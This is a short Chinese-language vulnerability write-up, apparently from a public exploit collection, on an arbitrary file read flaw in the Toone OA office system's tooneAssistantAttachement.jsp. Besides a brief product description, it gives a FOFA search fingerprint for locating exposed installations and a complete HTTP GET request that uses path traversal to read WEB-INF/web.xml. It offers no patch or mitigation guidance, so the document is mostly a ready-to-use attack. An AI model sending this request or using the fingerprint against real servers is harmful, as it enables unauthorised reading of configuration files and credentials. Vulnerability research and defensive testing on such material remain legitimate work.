同望OA tooneAssistantAttachement存在任意文件读取漏洞
一、漏洞简介
同望 OA即同望科技打造的智企云协同管理系统，是一款高效的企业协同移动办公系统。秉承“互联网++企业管理"理念，定位于以移动互联办公为基础的企业协同管理软件平台。它旨在通过内置常用标准模块与专项管理模块应用，安全快速地打通管理与业务通道，实班管理柔性和刚性的完美结合，助力企业实现协同价值最大化。同望OA tooneAssistantAttachement存在任意文件读取漏洞
二、影响版本
- 同望OA办公系统
三、资产测绘
- fofa
body="loginAction.struts?actionType=blockLogin" - 特征
四、漏洞复现
GET /jsp/oa/app/webservice/tooneAssistant/tooneAssistantAttachement.jsp?filename=./../../../../../WEB-INF/web.xml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537
Accept-Encoding: gzip
Connection: close